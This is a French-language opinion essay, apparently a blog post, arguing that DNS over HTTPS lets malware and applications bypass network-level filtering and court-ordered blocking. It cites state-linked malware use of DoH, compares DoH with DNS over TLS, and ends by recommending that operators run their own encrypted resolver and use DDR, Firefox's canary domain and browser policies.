de ceux dont le métier est de les trouver.\nPuis OilRig a monté d\u0026rsquo;un cran. La description de Kaspersky est exactement le changement dont parle cet article : « instead of plain text requests to port 53, they would use port 443 in encrypted packets », avec un outil qui « allows DoH queries to Google and Cloudflare services »4. Une opération de renseignement national, se servant des fournisseurs DoH publics comme tuyau pour faire sortir des données volées au-delà de tout ce qui surveillait le DNS.\nEt cela ne s\u0026rsquo;est pas arrêté là. Cela s\u0026rsquo;est répandu. Dès 2023, ChamelGang disposait d\u0026rsquo;une porte dérobée Linux en C++, ChamelDoH, faisant tourner tout son canal de commande par DoH, envoyant des requêtes DNS TXT à ses propres serveurs de noms via Google et Cloudflare ; le chercheur qui l\u0026rsquo;a trouvée a noté que la détection comme la prévention « become difficult », parce que le transport chiffré ne peut être intercepté et qu\u0026rsquo;une requête malveillante ne peut être distinguée d\u0026rsquo;une vraie5. En décembre 2025, la CISA a décortiqué BRICKSTORM, une porte dérobée liée à la Chine qui empile HTTPS, WebSockets et TLS imbriqué et « also uses DNS-over-HTTPS (DoH) » pour enfouir son C2 dans le trafic web ordinaire6. Dès février 2026, ce n\u0026rsquo;était plus qu\u0026rsquo;un savoir-faire de métier : Cisco Talos a repéré Dohdoor, qui « securely sends encrypted DNS requests to Cloudflare\u0026rsquo;s DNS server over HTTPS port 443 » pour trouver son serveur de commande, s\u0026rsquo;introduisant par hameçonnage dans des écoles et des hôpitaux américains7.\nVoilà la forme de la chose. Pas une technique qui a eu son heure puis s\u0026rsquo;est effacée, mais une que davantage de mains reprennent chaque année. Le problème empire, il ne s\u0026rsquo;améliore pas, et une nouvelle famille pointe désormais à date fixe.\nUne seule propriété a fait le travail dans chacun d\u0026rsquo;eux : la requête est partie en HTTPS sur 443 et le résolveur du défenseur ne l\u0026rsquo;a jamais vue. Pas une faiblesse que quelqu\u0026rsquo;un pourrait trouver un jour. Une fonctionnalité que des attaquants ont livrée encore et encore, dont plusieurs États.\nEt soyons clairs sur la raison pour laquelle ce tableau se remplit, année après année. Chaque famille qui y figure franchit une porte que les auteurs de DoH avaient été prévenus de laisser ouverte, dans le texte même du standard, et qu\u0026rsquo;ils ont laissée ouverte quand même8. Ce n\u0026rsquo;était pas une négligence. C\u0026rsquo;était une myopie, choisie exprès, par des gens parmi lesquels figurait le propre technologue d\u0026rsquo;ICANN. Alors je vais le dire comme c\u0026rsquo;est : sur ce point, ICANN sont des facilitateurs de cybercriminalité. Prévenus dans le texte même du standard de ce qui allait casser, leurs gens y ont apposé leur nom malgré tout, et le tableau ci-dessus est ce qui s\u0026rsquo;est engouffré par la brèche. Le crime n\u0026rsquo;est pas une surprise. C\u0026rsquo;est la facture d\u0026rsquo;une décision, et de qui a pris cette décision, c\u0026rsquo;est le sujet du reste de cet article.\nEt malgré tout cela, DoH n\u0026rsquo;achète même pas ce que les gens supposent : la protection contre une réponse falsifiée. Chiffrer le saut vers un résolveur n\u0026rsquo;est pas authentifier ce que le résolveur renvoie, et un serveur DoH peut tout de même retourner un enregistrement falsifié. Le standard l\u0026rsquo;admet, disant que la règle contre les serveurs non configurés « does not guarantee protection against invalid data »9.\nLe seul mécanisme qui authentifie une réponse DNS est DNSSEC, et DoH n\u0026rsquo;est pas cela. Pire, pour presque tous les clients DNSSEC est validé au résolveur récursif, pas sur l\u0026rsquo;appareil : le client se contente de croire le résolveur sur parole que la réponse a bien été vérifiée. DNSSEC ne vous a donc jamais protégé qu\u0026rsquo;à hauteur de la confiance que vous accordiez au résolveur qui faisait la vérification, et le vrai coup de DoH est de confier cette confiance à un opérateur distant que vous ne pouvez ni voir ni auditer.\nAinsi DoH peut vous rendre plus susceptible d\u0026rsquo;atterrir sur un site falsifié, pas moins : les défenses locales qui auraient attrapé une réponse détournée, le flux de DNS de protection, le propre filtrage de l\u0026rsquo;opérateur, sont précisément les choses que vous avez contournées, et tout ce qui reste, c\u0026rsquo;est la parole d\u0026rsquo;un opérateur distant, prise sur confiance.\nDoH déplace à qui vous faites confiance pour la réponse. Il ne supprime pas le besoin de faire confiance à quelqu'un. Quelqu'un doit être cru pour la réponse. DoH ne change que qui, pour un résolveur que vous ne pouvez pas auditer. Votre propre résolveur Un résolveur DoH distant Votre appareil Résolveur que vous contrôlez Valide DNSSEC à votre place Porte votre liste de blocage et journal Vous pouvez l'inspecter et l'auditer S'il ment, il est à vous et vérifiable Votre appareil tuyau chiffré Résolveur que vous ne contrôlez pas Valide DNSSEC, et vous le croyez sur parole Vous ne pouvez ni le voir ni l'auditer Votre liste de blocage locale est hors du chemin S'il falsifie, rien de local ne l'attrape Le chiffrement sécurise le tuyau, pas la véracité de la réponse. DNSSEC est vérifié au résolveur, vous faites donc confiance au résolveur dans les deux cas. DoH le rend seulement invisible. DoH ne supprime pas le besoin de faire confiance à un résolveur pour la réponse, il ne fait que le déplacer. Votre propre résolveur valide DNSSEC, porte votre liste de blocage et peut être audité ; un résolveur DoH distant valide à votre place et vous le croyez sur parole, par un tuyau chiffré qui sécurise le saut et ne dit rien sur la véracité de la réponse. Ce contre quoi DoH est vendu comme protégeant Le fait-il ? L\u0026rsquo;écoute sur le saut vers le résolveur Oui, la requête est chiffrée L\u0026rsquo;altération sur ce saut Oui Un enregistrement falsifié par le résolveur lui-même Non, c\u0026rsquo;est le travail de DNSSEC, pas de DoH Un résolveur malveillant, contraint ou compromis Non, vous lui faites désormais entièrement confiance Le blocage des maliciels, pisteurs et décisions de justice Non, il les contourne Et rien de tout cela n\u0026rsquo;est une idée neuve sur laquelle DoH aurait trébuché par accident. Filtrer les domaines malveillants au résolveur est exactement ce que fait OpenDNS depuis près de vingt ans, bloquant l\u0026rsquo;hameçonnage et les maliciels pour des millions d\u0026rsquo;utilisateurs avant même que la réponse ne leur parvienne, et c\u0026rsquo;est le modèle que Cisco a payé pour posséder en 201510. Deux décennies de sécurité au niveau du résolveur qui protégeaient des gens qui n\u0026rsquo;avaient jamais rien configuré, et DoH a sapé tout le modèle d\u0026rsquo;un seul coup : pointez l\u0026rsquo;application vers son propre résolveur, et OpenDNS, ou tout ce que votre réseau a choisi, n\u0026rsquo;est plus sur le chemin.\nPourquoi l\u0026rsquo;ancienne réponse a cessé de marcher Tant que le DNS a vécu sur le port 53, la réponse réseau était simple. Forcez chaque client à utiliser votre résolveur, et bloquez le port 53 en sortie partout ailleurs à la frontière. Une machine qui cherchait à joindre un serveur DNS externe se faisait refuser : elle devait donc passer par le vôtre, et vos contrôles s\u0026rsquo;appliquaient à tout. Grossier, et ça marchait.\nDoH tue cela d\u0026rsquo;un seul geste en utilisant 443. Vous ne pouvez pas bloquer le 443 en sortie. C\u0026rsquo;est le web. Le port que vous fermeriez pour forcer le DNS à passer par votre résolveur est donc celui que vous ne pouvez jamais fermer, et le chiffrement qui empêche votre FAI d\u0026rsquo;espionner vous empêche aussi de distinguer une résolution DoH d\u0026rsquo;un chargement de page.\nLes deux moyens que vous emploieriez pour reprendre le contrôle, fermer le port et lire le trafic, ont tous deux disparu par conception. Vaincre exactement ces deux-là, aux mains d\u0026rsquo;un réseau hostile, est ce pour quoi DoH a été bâti.\nEt lire le trafic n\u0026rsquo;est pas l\u0026rsquo;échappatoire que cela paraît, car il n\u0026rsquo;y a qu\u0026rsquo;une seule façon de le faire : casser et inspecter tout le trafic. Pour voir le DNS à l\u0026rsquo;intérieur d\u0026rsquo;une connexion 443, il vous faut faire l\u0026rsquo;homme du milieu sur chaque connexion HTTPS du réseau, poser votre propre certificat racine sur chaque appareil, et déchiffrer puis rechiffrer le tout. C\u0026rsquo;est ce à quoi un nombre croissant d\u0026rsquo;administrateurs en sont réduits, pour regagner la visibilité qu\u0026rsquo;une seule règle de pare-feu leur donnait gratuitement.\nEt c\u0026rsquo;est un bien plus mauvais marché : vous avez affaibli TLS pour tout, mis une boîte de déchiffrement sur le chemin de chaque connexion et de chaque session bancaire, et bâti une cible unique qui compromet le tout, une posture contre laquelle US-CERT a mis en garde sans détour11. Le contrôle proportionné a été cassé, alors le contrôle disproportionné est ce qui reste.\nVoilà le piège. Le mécanisme qui protège un journaliste sur le WiFi d\u0026rsquo;un aéroport contre un réseau hostile est celui qui protège un maliciel sur votre réseau contre vous, et le protocole ne peut pas distinguer les deux. Un résolveur qu\u0026rsquo;on contourne ne sait pas s\u0026rsquo;il est un censeur ou une équipe de sécurité. Il sait seulement qu\u0026rsquo;il a été mis à l\u0026rsquo;écart.\nLa bonne réponse a toujours été DNS over TLS Voici ce qui vend la mèche. Chiffrer le DNS n\u0026rsquo;a jamais eu besoin de tout ceci. C\u0026rsquo;était fait deux ans avant DoH, d\u0026rsquo;une manière qui laissait la personne qui gère le réseau capable de faire son travail.\nDNS over TLS, RFC 7858, date de mai 2016. Son résumé dit à quoi il sert dès la première ligne : « provide privacy for DNS », un chiffrement qui « eliminates opportunities for eavesdropping and on-path tampering with DNS queries in the network »12. C\u0026rsquo;est tout le dossier de la confidentialité, réglé : le café et le FAI mis dehors exactement comme avec DoH, parce que la requête est chiffrée de bout en bout.\nEt il a été coécrit par Paul Hoffman, qui a ensuite coécrit le standard DoH aussi1. Pas deux camps rivaux, donc. Les mêmes gens, qui avaient déjà résolu la confidentialité, la résolvant à nouveau d\u0026rsquo;une autre manière.\nQui est Hoffman a son importance, car cela dit d\u0026rsquo;où c\u0026rsquo;est venu. Il n\u0026rsquo;est pas un simple spectateur du DNS : son nom figure sur plus de quatre-vingts RFC, dont le standard de terminologie du DNS, et il fait ce travail comme technologue à l\u0026rsquo;ICANN13. Le standard qui a caché le DNS sur 443 a donc été coécrit de l\u0026rsquo;intérieur de l\u0026rsquo;ICANN, l\u0026rsquo;organisme américain qui décide de ce qui va dans la racine.\nEt l\u0026rsquo;ICANN n\u0026rsquo;est pas le gardien désintéressé que le mot laisse entendre. J\u0026rsquo;ai exposé son bilan séparément : bâtie en Californie, responsable devant la Californie, et prête à se servir de sa position sur l\u0026rsquo;espace de noms pour ses propres fins. Ce n\u0026rsquo;était pas une campagne de confidentialité venue de la marge. C\u0026rsquo;était l\u0026rsquo;établissement qui tient la racine, réglant une seconde fois un dossier de confidentialité qu\u0026rsquo;il avait déjà réglé en 2016, d\u0026rsquo;une manière qui écartait l\u0026rsquo;opérateur réseau.\nDemandez donc ce que la seconde manière a ajouté, car la confidentialité n\u0026rsquo;en faisait pas partie.\nStandard Année Port Chiffre le DNS L\u0026rsquo;opérateur voit encore que c\u0026rsquo;est du DNS DNS over TLS (RFC 7858) 2016 853 Oui Oui DNS over HTTPS (RFC 8484) 2018 443 Oui Non La confidentialité a été réglée en 2016 par DoT. DoH est venu deux ans plus tard et n'a ajouté que le contournement. DNS chiffré : ce qui est venu d'abord, et ce qui a suivi mai 2016 DNS over TLS (RFC 7858), port 853 Chiffre le DNS. L'opérateur voit encore que c'est du DNS. Confidentialité réglée. oct. 2018 DNS over HTTPS (RFC 8484), port 443 Même auteur principal. Même chiffrement. L'opérateur ne peut plus le voir. juil. 2019 Godlua : premier maliciel à cacher son C2 via DoH juil. 2019 L'ISPA qualifie Mozilla d'« Internet Villain » pour DoH, puis se rétracte sept. 2019 PsiXBot résout ses domaines C2 via le DoH de Google févr. 2020 Firefox active DoH par défaut aux États-Unis, résolveur Cloudflare T2 2020 OilRig (APT34) exfiltre des données via DoH La confidentialité était complète en 2016. Tout ce qui suit le deuxième point est du contournement et ce à quoi il a servi. Rien de cela n'exigeait un nouveau standard de confidentialité. L\u0026rsquo;ordre est l\u0026rsquo;argument. DNS over TLS a réglé le problème de la confidentialité en 2016, sur un port que l\u0026rsquo;opérateur réseau peut encore gouverner. DNS over HTTPS est arrivé deux ans plus tard du même auteur principal, n\u0026rsquo;a rien ajouté à la confidentialité hormis le passage au port 443, et tout ce qui se trouve sous ce second point est du contournement et ce à quoi le contournement a servi. La seule case qui a changé est la dernière. DoT tourne sur son propre port, 853 : l\u0026rsquo;opérateur peut donc voir que c\u0026rsquo;est du DNS et décider de son sort, l\u0026rsquo;autoriser vers le résolveur sanctionné, le refuser ailleurs. DoH place la même requête chiffrée sur 443 et la mêle au web, où l\u0026rsquo;opérateur ne peut pas la distinguer.\nMême confidentialité, même chiffrement. La seule différence entre les deux standards est de savoir si la personne qui gère le réseau peut encore voir son propre DNS. Ce n\u0026rsquo;est pas une fonctionnalité de confidentialité. La confidentialité a été livrée en 2016. C\u0026rsquo;est une fonctionnalité de contournement, et c\u0026rsquo;est la seule chose que DoH ajoute.\nEt ils le savaient. C\u0026rsquo;est documenté, pas déduit. Les propres Considérations opérationnelles de RFC 8484 le disent clairement : « Filtering or inspection systems that rely on unsecured transport of DNS will not function in a DNS over HTTPS environment due to the confidentiality and integrity protection provided by TLS »8.\nCes systèmes sont les outils de sécurité qui protègent déjà les utilisateurs : le blocage des maliciels et des serveurs de commande, les flux de DNS de protection, les filtres de protection de l\u0026rsquo;enfance, l\u0026rsquo;inspection en entreprise. Le standard les nomme, dans son propre texte, comme les choses qui cessent de fonctionner. Casser un outillage qui défendait déjà des gens était un choix, fait en toute connaissance de cause et livré activé par défaut. Connaître l\u0026rsquo;effet et le choisir quand même est une décision dont on peut leur demander des comptes.\nC\u0026rsquo;est pourquoi le cadrage sur la confidentialité ne survit pas à la chronologie. Une fois que DoT existe, la confidentialité ne peut pas être la raison de DoH, parce que la confidentialité était déjà réglée, par le même auteur, deux ans plus tôt. La confidentialité était donc l\u0026rsquo;écran de fumée.\nÔtez-le et regardez ce que le second standard a réellement mis en marche : une course aux armements. Il a pris un contrôle qui tenait en une ligne de pare-feu et l\u0026rsquo;a transformé en poursuite permanente, résolveurs contre listes de blocage contre nouveaux résolveurs, l\u0026rsquo;opérateur perdant par défaut, et une poignée d\u0026rsquo;entreprises américaines tenant le texte en clair au bout du compte.\nAppelez cela un effet secondaire d\u0026rsquo;une fonctionnalité de confidentialité si vous voulez. À la lumière des faits, DoT déjà livré et le standard lui-même admettant qu\u0026rsquo;il casserait le filtrage, c\u0026rsquo;est bien le but, et la confidentialité était le mot peint sur la boîte. Et il a été poussé fort sous ce mot, par les parties qui y gagnaient.\nCeux qui ont poussé et livré DoH Ce qu\u0026rsquo;ils sont par ailleurs Mozilla A coécrit RFC 8484, puis a activé DoH par défaut pour Firefox aux États-Unis, résolveur Cloudflare Google Livre DoH dans Chrome, fait tourner un gros résolveur DoH public, et est une régie publicitaire Cloudflare Le résolveur par défaut de Firefox aux États-Unis, il reçoit donc ces requêtes Ceux qui le vendaient comme de la confidentialité étaient les éditeurs de navigateurs, et les bénéficiaires n\u0026rsquo;étaient pas que les utilisateurs.\nPuis-je demander pourquoi, si le but était la confidentialité, la réponse n\u0026rsquo;a pas été le standard de DNS chiffré qui existait déjà et gardait l\u0026rsquo;opérateur dans la boucle, mais un second bâti pour que l\u0026rsquo;opérateur ne puisse pas voir ? Je ne demande pas qui a signé. Je demande quelle part de la « confidentialité » exigeait d\u0026rsquo;écarter la seule personne responsable du réseau.\nParce que c\u0026rsquo;est là la vraie cible, et c\u0026rsquo;est l\u0026rsquo;administrateur réseau : le professionnel responsable de la sécurité et de la sûreté du réseau, traité en adversaire par défaut. DoH ne supprime même pas la surveillance dont se plaignait l\u0026rsquo;argumentaire de confidentialité. Comme l\u0026rsquo;a exposé Bert Hubert de PowerDNS, le DNS était « typically provided by the operator of a network », et le déplacer vers un tiers par défaut est « a net-negative for privacy for everyone », parce que ce tiers « gets a complete log per device of all DNS queries, in a way that can even be tracked across IP addresses »14.\nLes requêtes ne sont pas cachées. Elles sont remises à un opérateur de résolveur américain à la place de l\u0026rsquo;administrateur, et l\u0026rsquo;administrateur est la seule partie écartée. Les éditeurs le savent aussi. La logique du « détecter un réseau administré et se retirer » de la section suivante existe précisément parce que le défaut passe outre l\u0026rsquo;administrateur, et ils ont livré l\u0026rsquo;interrupteur plutôt que de changer le défaut.\nDemandez maintenant qui gagne à faire passer le DNS devant l\u0026rsquo;opérateur. La figure d\u0026rsquo;affiche est le journaliste sur le WiFi hostile d\u0026rsquo;un aéroport, et cette personne est réelle. L\u0026rsquo;industrie de la publicité et du pistage l\u0026rsquo;est aussi, dont les domaines franchissent la liste de blocage d\u0026rsquo;un réseau dès qu\u0026rsquo;une application ou un navigateur les résout par DoH.\nLe blocage au niveau réseau, le Pi-hole, la liste de blocage d\u0026rsquo;entreprise, le résolveur filtrant, fonctionne en répondant au nom d\u0026rsquo;un pisteur par rien. DoH est la façon dont le nom obtient quand même une réponse. Et le plus gros opérateur de résolveur DoH public est Google15, une régie publicitaire qui livre aussi DoH dans son propre navigateur16.\nUne fonctionnalité de confidentialité, vendue par l\u0026rsquo;entreprise qui vend le pistage, dont la conception défait l\u0026rsquo;outil que les gens font tourner pour le bloquer. Faites-en ce que vous voulez. Je me suis fait mon idée.\nMême la version grossière de cette objection a été exprimée. En juillet 2019, l\u0026rsquo;association professionnelle des FAI britanniques a nommé Mozilla « Internet Villain » pour un DoH qui « bypass UK filtering obligations and parental controls, undermining internet safety standards in the UK »17. Ils avaient choisi une cible maladroite et un cadrage pire encore, se sont fait huer, et ont retiré la nomination.\nÔtez la politique, cependant, et l\u0026rsquo;observation qui la sous-tendait était juste, et elle tient que le contrôle contourné soit un filtre de protection de l\u0026rsquo;enfance, une liste de blocage d\u0026rsquo;entreprise ou un Pi-hole dans une pièce d\u0026rsquo;amis. DoH est bâti pour faire passer le DNS devant celui qui gère le réseau.\nEt ce n\u0026rsquo;est pas une petite affaire, car DoH est désormais le plus difficile des trois à bloquer, tout court. DoT est sur 853, où un réseau peut encore le refuser. DoH non : de toutes les façons dont le DNS peut quitter un réseau, c\u0026rsquo;est celle sans aucune prise, ce qui en fait le plus gros risque de tous.\nCela touche la loi, pas seulement la sécurité. Au Royaume-Uni, le blocage qui a force de loi tourne chez le FAI par le DNS : la liste de la Internet Watch Foundation sur les images d\u0026rsquo;abus sexuels d\u0026rsquo;enfants, et les injonctions de la Haute Cour au titre de la section 97A sur le droit d\u0026rsquo;auteur, sont appliquées par filtrage DNS et IP sur le résolveur remis au client18.\nFaites passer la moitié DNS de cela devant, par DoH, et le blocage ne s\u0026rsquo;applique pas à ce client. Une cour peut ordonner le blocage d\u0026rsquo;un site, on peut sommer un réseau de l\u0026rsquo;appliquer, et un navigateur qui résout par DoH trouve l\u0026rsquo;adresse quand même, par un canal que le réseau ne peut ni voir ni fermer. Appliquer une loi sur le cyberespace ou une décision de justice au niveau du réseau, là où cela a toujours été fait, devient quasiment impossible.\nEt c\u0026rsquo;est là que la facture retombe sur tout le monde, pas seulement sur le réseau. Cassez le contrôle proportionné, le contrôle chirurgical qui bloquait un domaine nommé au résolveur au titre d\u0026rsquo;une décision de justice, et l\u0026rsquo;État ne renonce pas. Il se saisit d\u0026rsquo;un instrument plus grossier. L\u0026rsquo;Online Safety Act britannique est cet instrument : de vastes obligations pour les plateformes, des vérifications d\u0026rsquo;âge imposées, et l\u0026rsquo;Ofcom derrière avec les amendes, un régime qui touche chaque utilisateur et chaque service du pays19.\nJe ne défends pas cette loi. Je montre d\u0026rsquo;où est venue la pression pour elle. Quand l\u0026rsquo;outil étroit qui appliquait la loi au réseau cesse de marcher, vous n\u0026rsquo;obtenez pas moins d\u0026rsquo;application, vous obtenez une application plus grossière, plus large, plus intrusive, visant tout le monde, parce que la version ciblée ne tient plus. C\u0026rsquo;est le prix à payer pour avoir cassé un contrôle de base, et ceux qui l\u0026rsquo;ont cassé ne sont pas ceux qui le paient.\nEt ICANN s\u0026rsquo;en moque éperdument, car depuis la Californie ce n\u0026rsquo;est pas son problème. Quand un blocage échoue ou qu\u0026rsquo;une plateforme manque à ses obligations, ce n\u0026rsquo;est pas ICANN qui se retrouve devant un tribunal, c\u0026rsquo;est l\u0026rsquo;opérateur, la plateforme, l\u0026rsquo;entreprise, face à l\u0026rsquo;Ofcom et aux amendes. Les conséquences retombent sur tous ceux en aval d\u0026rsquo;une décision dont l\u0026rsquo;organisme qui l\u0026rsquo;a prise n\u0026rsquo;a jamais à répondre.\nCassez le contrôle chirurgical et l'État se saisit de la masse. Tout le monde paie. Cassez le contrôle proportionné, et un plus grossier prend sa place Le contrôle chirurgical Bloquer un domaine nommé au résolveur, sur décision de justice Précis, proportionné, visant seulement la cible DoH le casse la requête ne passe plus par le résolveur L'instrument grossier L'Online Safety Act : vérifs d'âge pour tous, obligations pour chaque plateforme, l'Ofcom et ses amendes Visant le pays entier Cassez l'outil étroit et l'État ne renonce pas. Il se saisit du plus large, visant tout le monde, car la version ciblée ne tient plus. Et ceux qui ont cassé l'outil étroit ne sont pas ceux qui paient pour le large. Le contrôle chirurgical bloquait un domaine nommé au résolveur au titre d\u0026rsquo;une décision de justice. DoH le casse, alors l\u0026rsquo;État se saisit de l\u0026rsquo;instrument grossier : l\u0026rsquo;Online Safety Act, visant chaque utilisateur et chaque plateforme du pays. Cassez l\u0026rsquo;outil étroit et vous n\u0026rsquo;obtenez pas moins d\u0026rsquo;application, vous en obtenez une plus large que personne ne peut viser. Alignez les conséquences et elles ont toutes la même forme : une chose que le réseau appliquait au résolveur, et qu\u0026rsquo;il ne peut plus.\nCe que le réseau appliquait Comment Sous DoH Blocage des maliciels et serveurs de commande liste de blocage et flux de menaces du résolveur contourné ; Godlua, PsiXBot et OilRig ont fait exactement cela Blocage des pubs et pisteurs Pi-hole ou résolveur filtrant contourné ; le nom du pisteur se résout quand même Décisions de justice et liste IWF filtrage DNS chez le FAI le blocage par DNS ne s\u0026rsquo;applique pas à ce client DoT était la réponse honnête. Il chiffre votre DNS et laisse l\u0026rsquo;opérateur capable de faire son travail. DoH a gardé le chiffrement et a ajouté une chose par-dessus : l\u0026rsquo;opérateur ne peut plus le voir. Tout le reste à son sujet découle de ce seul choix.\nConçu aux États-Unis, contesté partout ailleurs Rien de tout cela ne s\u0026rsquo;arrête à la Manche, et le lire comme un problème britannique le réduit à une fraction de sa taille. La même forme parcourt toute l\u0026rsquo;Europe et va jusqu\u0026rsquo;à l\u0026rsquo;Australie. Un instrument juridique à un bout, un blocage DNS sur le réseau à l\u0026rsquo;autre.\nL\u0026rsquo;Australie fait ordonner par sa Cour fédérale aux FAI de désactiver l\u0026rsquo;accès aux sites contrefaisants étrangers en vertu de la section 115A du Copyright Act20. Le Portugal se passe entièrement du tribunal : un protocole administratif par lequel les ayants droit signalent à un organisme nommé MAPINET, et les FAI bloquent par DNS sous quinze jours ouvrables21. Des lois différentes, une même hypothèse porteuse, et c\u0026rsquo;est l\u0026rsquo;hypothèse que DoH fait sauter sous chacune d\u0026rsquo;elles. Que le client résolve via le résolveur qu\u0026rsquo;on lui a remis.\nAlors regardez ce que fait un État quand cette hypothèse s\u0026rsquo;effondre. Il cesse de s\u0026rsquo;appuyer sur le FAI et se met à ordonner aux résolveurs publics eux-mêmes de renvoyer la mauvaise réponse. Ce n\u0026rsquo;est pas une prévision. C\u0026rsquo;est une pile de jugements, et elle ne cesse de grandir.\nPays L\u0026rsquo;ordre de blocage Le résolveur public Ce qui s\u0026rsquo;est passé Italie Piracy Shield de l\u0026rsquo;AGCOM, noms bloqués sous 30 minutes sommé de filtrer, 1.1.1.1 compris Cloudflare a refusé, a été condamné à 14 247 698 €, et fait appel22 France injonction de Canal+ sur le streaming sportif Google, Cloudflare et OpenDNS tous visés Cloudflare renvoie un HTTP 451, Google échoue la requête en silence, OpenDNS s\u0026rsquo;est coupé pour le pays23 Belgique plus de 100 domaines de piratage sportif les trois mêmes résolveurs Cloudflare se plie avec un 451, Google reste muet, OpenDNS a quitté la Belgique aussi23 Allemagne Universal Music c. Cloudflare ordonné en première instance, 1.1.1.1 compris infirmé en appel, Cologne jugeant le résolveur « passif, automatique et neutre »24 Pays-Bas blocage dynamique de BREIN au niveau du FAI, pas encore le résolveur Ziggo, KPN et les autres bloquent par DNS et IP, mis à jour sur demande25 Lisez cela comme une seule chose, pas cinq. Quelques entreprises américaines ont réécrit le DNS pour la planète entière, de leur propre autorité, ont cassé le contrôle proportionné que chacun de ces pays avait bâti, et ont laissé les tribunaux se débrouiller avec les décombres. Les réponses que donnent ces firmes, traînées devant un tribunal différent tous les quelques mois, vous disent exactement le poids que le reste du monde a pour elles. L\u0026rsquo;une fait appel et crie à la censure. L\u0026rsquo;une échoue la requête sans rien dire à l\u0026rsquo;utilisateur. Et OpenDNS, le résolveur qui a filtré tranquillement les maliciels pendant vingt ans et que ce billet a déjà présenté comme le modèle à copier, ne discute pas du tout. Il se coupe pour la France et pour le Portugal plutôt que de les servir à ces conditions26.\nArrêtez-vous sur cette dernière. C\u0026rsquo;est le bon exemple de tout ce billet qui quitte la pièce. Le service qui protégeait des gens n\u0026rsquo;ayant jamais rien configuré trouve désormais un pays entier plus facile à abandonner qu\u0026rsquo;à servir, et la raison remonte tout droit à une décision de conception prise en Californie par des gens qui n\u0026rsquo;ont jamais eu à penser à un tribunal français ou portugais.\nVoilà le motif, et je vais le nommer. C\u0026rsquo;est ce que l\u0026rsquo;ingénierie des plateformes américaines fait à tout ce qui n\u0026rsquo;est pas les États-Unis. Elle construit pour son propre marché, expédie le résultat au monde par défaut, et traite la loi de chaque autre pays, chaque régulateur, chaque communauté laissée en aval du changement comme le désordre de quelqu\u0026rsquo;un d\u0026rsquo;autre à nettoyer.\nEt le gouvernement d\u0026rsquo;origine soutient ces firmes jusqu\u0026rsquo;au bout. En février 2025, la Maison-Blanche a apposé son nom à un mémorandum qualifiant les lois numériques des autres pays d\u0026rsquo;« extorsion à l\u0026rsquo;étranger » des entreprises américaines, nommant le Royaume-Uni et l\u0026rsquo;UE et pointant le représentant au commerce vers des droits de douane en guise de réponse27. Six mois plus tard, un régulateur américain a écrit à une douzaine de firmes technologiques américaines pour les avertir qu\u0026rsquo;obéir à l\u0026rsquo;Online Safety Act britannique ou au Digital Services Act de l\u0026rsquo;UE pourrait elle-même enfreindre la loi américaine28. Lisez cela deux fois. Le pays dont les entreprises ont cassé les contrôles dit maintenant à ces entreprises que se conformer à la réponse d\u0026rsquo;une autre démocratie à la casse est l\u0026rsquo;infraction.\nCela dit tout. Une loi votée par un parlement élu à Westminster ou à Bruxelles est requalifiée, depuis Washington, en attaque contre l\u0026rsquo;Amérique, et l\u0026rsquo;on ordonne aux firmes de l\u0026rsquo;ignorer. Ce n\u0026rsquo;est pas qu\u0026rsquo;elles aient pesé le reste du monde et tranché contre lui. Le reste du monde n\u0026rsquo;a jamais été sur la balance.\nLe correctif n\u0026rsquo;est pas d\u0026rsquo;interdire le chiffrement La conclusion paresseuse est donc \u0026ldquo;block DoH\u0026rdquo;, et elle est fausse, de la même façon que \u0026ldquo;block ICMP\u0026rdquo; est faux sur le pare-feu. Vous ne voulez pas revenir au DNS non chiffré. Les résolutions en clair sur le port 53 sont une vraie exposition, et y revenir pour regagner de la visibilité, c\u0026rsquo;est troquer un trou contre un autre.\nCe que vous avez réellement perdu, ce n\u0026rsquo;était pas le chiffrement. C\u0026rsquo;était le choix du résolveur. Reprenez-le donc et laissez le chiffrement exactement où il est.\nGardez le chiffrement. Reprenez le choix du résolveur. Chiffré de bout en bout. Une seule machine autorisée à parler DNS au monde. Clients 53, DoT ou DoH, vers votre résolveur seulement DDR leur dit où aller Votre résolveur sert DoH et DoT lui-même liste de blocage, flux, journal canari, réponse NXDOMAIN Frontière lui seul Amont ou les racines client direct vers 53, 853 ou un résolveur DoH public : refusé Rien ici ne désactive le chiffrement. La seule chose retirée au client est le droit de choisir le résolveur d'un autre. La disposition corrigée. Les clients peuvent utiliser le DNS ordinaire, DNS over TLS ou DNS over HTTPS, mais uniquement vers votre propre résolveur, qui sert désormais les trois. Ce résolveur garde la liste de blocage et le journal et est la seule machine autorisée à envoyer du DNS, quel qu\u0026rsquo;il soit, au-delà de la frontière. Le port 53, le port 853 et les résolveurs DoH publics connus sont refusés à tout le reste. Rien ici ne désactive le chiffrement. La seule chose retirée au client est le droit de choisir le résolveur de quelqu\u0026rsquo;un d\u0026rsquo;autre. La forme est la même que celle qui répare le DNS dans un domaine Active Directory : l\u0026rsquo;argument n\u0026rsquo;est jamais \u0026ldquo;désactiver la fonctionnalité\u0026rdquo;, c\u0026rsquo;est \u0026ldquo;décider qui a le droit de la conduire\u0026rdquo;. Voici ce que cela veut dire, par parties.\nFaites tourner du DNS chiffré vous-même. Montez un résolveur qui sert DoH et DoT, pas seulement le port 53, pour qu\u0026rsquo;un client qui veut du chiffrement l\u0026rsquo;obtienne de vous. Vous ne pouvez pas dire aux clients « no DoH » et le penser vraiment en ne leur offrant aucun résolveur chiffré à eux. Donnez-leur-en un, et gardez dessus la liste de blocage, le flux de menaces et la journalisation comme avant.\nAnnoncez-le, pour que les clients le trouvent exprès. Discovery of Designated Resolvers (RFC 9462) permet à un client d\u0026rsquo;interroger un nom spécial, d\u0026rsquo;apprendre le résolveur chiffré propre à son réseau, et de basculer en DoH ou DoT vers celui-ci automatiquement29. Un client compatible DDR chiffre alors son DNS et utilise le vôtre : la confidentialité que l\u0026rsquo;utilisateur voulait et le contrôle dont vous aviez besoin, d\u0026rsquo;un seul geste.\nRépondez à l\u0026rsquo;interrupteur propre du navigateur. Firefox vérifie un domaine canari, use-application-dns.net, avant d\u0026rsquo;activer DoH par défaut : répondez-lui par NXDOMAIN ou SERVFAIL et Firefox se retire vers le résolveur système30. Deux limites honnêtes, toutes deux dans les mots de Mozilla. Le canari « only applies to users who have DoH enabled as the default option. It does not apply for users who have made the choice to turn on DoH by themselves »30. C\u0026rsquo;est donc un signal de désactivation par défaut, pas un verrou, et il ne fait rien sur l\u0026rsquo;application et le maliciel, qui n\u0026rsquo;ont rien demandé au navigateur.\nFixez la politique du navigateur là où vous administrez la machine. Sur un appareil qui vous appartient, ne comptez pas sur le canari. Le DnsOverHttpsMode de Chrome prend off, automatic et secure, et la documentation de Google indique que, s\u0026rsquo;il n\u0026rsquo;est pas 